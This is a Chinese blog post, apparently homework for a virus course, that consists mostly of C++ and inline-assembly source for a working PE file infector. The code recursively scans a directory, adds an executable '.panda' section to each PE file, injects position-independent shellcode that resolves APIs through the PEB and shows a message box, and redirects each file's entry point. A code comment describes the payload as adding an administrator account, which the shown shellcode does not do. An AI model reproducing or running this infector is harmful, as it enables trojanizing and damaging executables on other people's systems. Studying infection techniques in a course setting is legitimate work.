zoukankan      html  css  js  c++  java
  • PE感染学习

    病毒课程老师要求的代码

    用到了很多PE知识: 

    直接上代码吧

    // ganran_pe.cpp : Defines the entry point for the console application.
    //
    
    #include "stdafx.h"
    #include <windows.h>
    #include <malloc.h>
    #include <assert.h>
    
    
    
    //本程序只适用于载入基址定位的。。。非随机基址
    //感染指定目录的PE文件
    char ItIs[MAX_PATH] = "C:\1";
    //添加了一个新节区
    //然后shellcode是添加一个名为a,密码为a的administrator
    //然后PEB定位kernel32只在我的win7 x64电脑上测试成功,可以稍许修改,以通用
    
    
    //函数功能: 以ALIGN_BASE为对齐度对齐size
    //参数说明: 
    //		size:需要对齐的大小
    //		ALIGN_BASE:对齐度
    //返回值:	返回对齐后的大小
    DWORD Align(DWORD size, DWORD ALIGN_BASE)
    {
    	assert(0 != ALIGN_BASE);
    	if (size % ALIGN_BASE)
    	{
    		size = (size/ALIGN_BASE + 1) * ALIGN_BASE;
    	}
    	return size;
    }
    
    //函数功能: 检测感染标识和设置感染标识
    //参数说明:
    //		pDosHdr:执行DOS头
    //返回值:	是否未被感染, 是->TRUE, 否->FALSE
    BOOL SetFectFlag(PIMAGE_DOS_HEADER &pDosHdr)
    {
    	if (*(DWORD*)pDosHdr->e_res2 == 0x4B4B43)
    	{
    		return FALSE;
    	}
    	else
    	{
    		*(DWORD*)pDosHdr->e_res2 = 0x4B4B43;
    		return TRUE;
    	}
    }
    
    //函数功能:	打开文件并判断文件类型
    //参数说明:	
    //		szPath:文件绝对路径
    //		lpMemory:保存文件内存映射地址
    //返回值:	是否是PE文件, 是->TRUE, 否->FALSE
    BOOL CreateFileAndCheck(char *szPath, LPVOID &lpMemory, HANDLE &hFile)
    {
    	//打开文件
    	hFile = CreateFileA(szPath, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    	if (hFile == INVALID_HANDLE_VALUE)
    	{
    		//printf("CreateFileA %s Failed! ErrorCode = %d
    ", szPath, GetLastError());
    		return FALSE;
    	}
    	HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL);
    	if (!hMap)
    	{
    		//printf("CreateFileMappingA %s Failed! ErrorCode = %d
    ", szPath, GetLastError());
    		return FALSE;
    	}
    	lpMemory = MapViewOfFile(hMap, FILE_MAP_READ|FILE_MAP_WRITE, NULL, NULL, NULL);
    	if (!lpMemory)
    	{
    		//printf("MapViewOfFile %s Failed! ErrorCode = %d
    ", szPath, GetLastError());
    		CloseHandle(hMap);
    		return FALSE;
    	}
    
    	CloseHandle(hMap);
    	return TRUE;
    }
    
    //函数功能: 感染指定文件
    //参数说明:
    //		szPath:文件绝对路径
    DWORD dwNum;
    PBYTE pByte;
    DWORD dwOldOp;
    DWORD dwNum1;
    DWORD nSecSize;
    DWORD size;
    DWORD i;
    PIMAGE_SECTION_HEADER pSecHdr;
    PIMAGE_SECTION_HEADER pNewHdr;
    PIMAGE_SECTION_HEADER pLastHdr;
    PIMAGE_NT_HEADERS32 pNtHdr;
    void FectPE(char *szPath)
    {
    	LPVOID lpMemory;
    	HANDLE hFile;
    	if (!CreateFileAndCheck(szPath, lpMemory, hFile))
    	{
    		return;
    	}
    	PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)lpMemory;
    	//判断DOS标识
    	if (*(WORD*)pDosHdr != 23117)
    		goto Err;
    
    	 pNtHdr = (PIMAGE_NT_HEADERS32)( *(DWORD*)&pDosHdr + (DWORD)pDosHdr->e_lfanew);
    	//判断NT标识
    	if (*(WORD*)pNtHdr != 17744)
    		goto Err;
    
    	//设置感染标识
    	if (!SetFectFlag(pDosHdr))
    		goto Err;
    
    	//检查可用空间
    	if ((pNtHdr->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHdr->OptionalHeader.SizeOfHeaders)
    		goto Err;
    
    	 pSecHdr = (PIMAGE_SECTION_HEADER)(*(DWORD*)&pNtHdr + sizeof(IMAGE_NT_HEADERS32));
    	 pNewHdr = (PIMAGE_SECTION_HEADER)(pSecHdr + pNtHdr->FileHeader.NumberOfSections);
    	 pLastHdr = (PIMAGE_SECTION_HEADER)(pNewHdr - 1);
    
    	//检测是否有附加数据
    	 i = 0;
    	 size = pSecHdr->PointerToRawData;
    	for ( ; i<pNtHdr->FileHeader.NumberOfSections; i++)
    	{
    		size += Align(pSecHdr[i].SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);
    	}
    	if (size != GetFileSize(hFile, 0))
    	{
    		return;			//有附加数据
    	}
    
    	goto shellend;
    	_asm
    	{
    shellstart:		
    			CLD                 ; clear flag DF
    			;store hash
    			push 0x1e380a6a     ;hash of MessageBoxA
    			push 0x4fd18963     ;hash of ExitProcess
    			push 0x0c917432     ;hash of LoadLibraryA
    			mov esi,esp         ; esi = addr of first function hash 
    			lea edi,[esi-0xc]   ; edi = addr to start writing function 
    			; make some stack space
    			xor ebx,ebx
    			mov bh, 0x04            
    			sub esp, ebx 
    			; push a pointer to "user32" onto stack 
    			mov bx, 0x3233      ; rest of ebx is null 
    			push ebx 
    			push 0x72657375
    			push esp 
    			xor edx,edx
    			; find base addr of kernel32.dll 
    			mov ebx,fs:[edx+0x30]   //得到peb结构体的地址
    		mov ebx,[ebx + 0xc] //得到Ldr结构体的地址
    		mov ebx,[ebx + 0xc] //得到ldr.InLoadOrderModuleList.Flink 第一个模块,当前进程
    		mov ebx,[ebx]   //得到第二个模块地址 ntdll.dll
    		mov ebx,[ebx]   //得到第三个模块地址 kernel32.dll
    		mov ebx,[ebx+0x18]  //得到第三个模块地址(kernel32模块的dllbase)
    		mov ebp,ebx
    find_lib_functions:
    		lodsd                   ; load next hash into al and increment esi 
    			cmp eax, 0x1e380a6a     ; hash of MessageBoxA - trigger 
    			; LoadLibrary("user32")
    			jne find_functions 
    			xchg eax, ebp           ; save current hash 
    			call [edi - 0x8]        ; LoadLibraryA 
    			xchg eax, ebp           ; restore current hash, and update ebp 
    			; with base address of user32.dll 
    find_functions:
    		pushad                      ; preserve registers 
    			mov eax, [ebp + 0x3c]       ; eax = start of PE header 
    			mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table 
    			add ecx, ebp                ; ecx = absolute addr of export table 
    			mov ebx, [ecx + 0x20]       ; ebx = relative offset of names table 
    			add ebx, ebp                ; ebx = absolute addr of names table 
    			xor edi, edi                ; edi will count through the functions 
    next_function_loop:
    		inc edi                     ; increment function counter 
    			mov esi, [ebx + edi * 4]    ; esi = relative offset of current function name
    			add esi, ebp                ; esi = absolute addr of current function name
    			cdq                         ; dl will hold hash (we know eax is small)
    hash_loop:
    		movsx eax, byte ptr[esi]
    		cmp al,ah
    			jz compare_hash
    			ror edx,7
    			add edx,eax
    			inc esi
    			jmp hash_loop
    compare_hash:  
    		cmp edx, [esp + 0x1c]       ; compare to the requested hash (saved on stack from pushad)
    			jnz next_function_loop 
    			mov ebx, [ecx + 0x24]       ; ebx = relative offset of ordinals table 
    			add ebx, ebp                ; ebx = absolute addr of ordinals table 
    			mov di, [ebx + 2 * edi]     ; di = ordinal number of matched function 
    			mov ebx, [ecx + 0x1c]       ; ebx = relative offset of address table 
    			add ebx, ebp                ; ebx = absolute addr of address table 
    			add ebp, [ebx + 4 * edi]    ; add to ebp (base addr of module) the
    			; relative offset of matched function 
    			xchg eax, ebp               ; move func addr into eax 
    			pop edi                     ; edi is last onto stack in pushad 
    			stosd                       ; write function addr to [edi] and increment edi 
    			push edi 
    			popad                   ; restore registers 
    			; loop until we reach end of last hash 
    			cmp eax,0x1e380a6a
    			jne find_lib_functions 
    function_call:
    		xor ebx,ebx
    			push ebx            // cut string
    
    		  push 0xE9D1B5CA    //构造中文字符串
    			  push 0xBEB6A1B2
    			  mov edx,esp
    			  push ebx
    			  push 0x20202031
    			  push 0x32303232
    			  push 0x31313130
    			  push 0x322B6E61
    			  push 0x7571676E
    			  push 0x61686367
    			  push 0x6E616978
    			  mov eax,esp
    			  push ebx
    			  push edx
    			  push eax
    			  push ebx
    			  call dword ptr ds:[edi-0x4]
    
    			mov eax,0x11111111
    			jmp eax
    	}
    shellend:
    		PBYTE *pShell;
    		DWORD nShellLen;
    		_asm
    		{
    			lea eax,shellstart
    		mov pShell,eax
    		lea ebx,shellend
    		sub ebx,eax
    		mov nShellLen,ebx
    	}
    	//添加新节
    	memcpy(pNewHdr->Name, ".panda", 6);
    	//新加节virtualsize
    	 nSecSize = nShellLen;
    	pNewHdr->Misc.VirtualSize = nSecSize;//这个值可以不是对齐的值 ps:貌似除了这个其他都要对齐哎╮(╯▽╰)╭
    	
    	pNewHdr->VirtualAddress = pLastHdr->VirtualAddress + Align(pLastHdr->Misc.VirtualSize, pNtHdr->OptionalHeader.SectionAlignment);
    	pNewHdr->SizeOfRawData = Align(nSecSize, pNtHdr->OptionalHeader.FileAlignment);
    	pNewHdr->PointerToRawData = pLastHdr->PointerToRawData + Align(pLastHdr->SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);
    	pNewHdr->Characteristics = IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_MEM_EXECUTE;
    
    	pNtHdr->FileHeader.NumberOfSections++;
    	
    	pNtHdr->OptionalHeader.SizeOfImage += Align(pNewHdr->Misc.VirtualSize, pNtHdr->OptionalHeader.SectionAlignment);//这个值必须是对齐的值
    //	pNtHdr->OptionalHeader.SizeOfCode += Align(pNewHdr->SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);//话说这个好像可要可不要
    	//FlushViewOfFile(pDosHdr, 0);
    
    	//写入shellcode
    	dwOldOp = pNtHdr->OptionalHeader.AddressOfEntryPoint;
    	printf("原始入口点: %XH
    ", dwOldOp);
    	dwOldOp += pNtHdr->OptionalHeader.ImageBase;
    	
    	printf("原始程序加载点: %XH
    ", dwOldOp);
    	 dwNum1 = 0;
    	SetFilePointer(hFile, 0, 0, FILE_END);
    	WriteFile(hFile, pShell, nShellLen, &dwNum1, NULL);
    	SetFilePointer(hFile, -6, 0, FILE_CURRENT);
    
    	WriteFile(hFile, &dwOldOp, 4, &dwNum1, NULL);
    
    	//写入剩余字节
    	 pByte = (PBYTE)malloc(pNewHdr->SizeOfRawData-nShellLen);
    	ZeroMemory(pByte, pNewHdr->SizeOfRawData-nShellLen);
    	 dwNum = 0;
    	SetFilePointer(hFile, 0, 0, FILE_END);
    	WriteFile(hFile, pByte, pNewHdr->SizeOfRawData-nShellLen, &dwNum, NULL);
    	//FlushFileBuffers(hFile);
    	free(pByte);
    
    	pNtHdr->OptionalHeader.AddressOfEntryPoint = pNewHdr->VirtualAddress;
    	//printf("新入口点: %X
    ", pNewHdr->VirtualAddress);
    
    Err:
    	CloseHandle(hFile);
    	UnmapViewOfFile(lpMemory);
    }
    
    //函数功能: 扫描查找文件
    //参数说明:
    //		szPath:需要扫描的目录
    void FindFile(char *szPath)
    {
    	WIN32_FIND_DATAA FindFileData;
    	
    	char szFileToFind[MAX_PATH] = {0};
    	lstrcpyA(szFileToFind, szPath);
    	lstrcatA(szFileToFind, "\*.*");
    
    	//查找目录下所有文件
    	HANDLE hFile = FindFirstFileA(szFileToFind, &FindFileData);
    	if (hFile == INVALID_HANDLE_VALUE)
    	{
    		printf("FindFirstFileA Failed!
    ");
    		return;
    	}
    	do 
    	{
    		char szNewPath[MAX_PATH] = {0};
    		lstrcpyA(szNewPath, szPath);
    
    		//判断是否是目录
    		if (FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
    		{
    			//判断是否是.或..
    			if (!lstrcmpA(FindFileData.cFileName, ".") || !lstrcmpA(FindFileData.cFileName, "..")){}
    			else
    			{
    				//递归查找下级目录
    				lstrcatA(szNewPath, "\");
    				lstrcatA(szNewPath, FindFileData.cFileName);
    				FindFile(szNewPath);
    			}
    		}
    		else
    		{
    			//处理查找到的文件
    			char szExe[MAX_PATH] = {0};
    			lstrcpyA(szExe, szNewPath);
    			lstrcatA(szExe, "\");
    			lstrcatA(szExe, FindFileData.cFileName);
    			FectPE(szExe);
    		}
    	} while (FindNextFileA(hFile, &FindFileData));
    
    	FindClose(hFile);
    }
    
    //主函数
    int main()
    {
    	FindFile(ItIs);
    
    	return 0;
    }

    最后弹框  姓名+学号




  • 相关阅读:
    到底什么级别才算是高并发?
    阿里大佬教你,如何写好 Java 代码!
    Java 13 发布了!
    年轻人的第一个自定义 Spring Boot Starter!
    懵圈了,面试官问一个 TCP 连接可发多少个 HTTP 请求?
    Java 和操作系统交互,你猜会发生什么?
    不用找了,基于 Redis 的分布式锁实战来了!
    中国剩余定理
    欧几里德与扩展欧几里德
    大数mod的技巧
  • 原文地址:https://www.cnblogs.com/zcc1414/p/3982352.html
Copyright © 2011-2022 走看看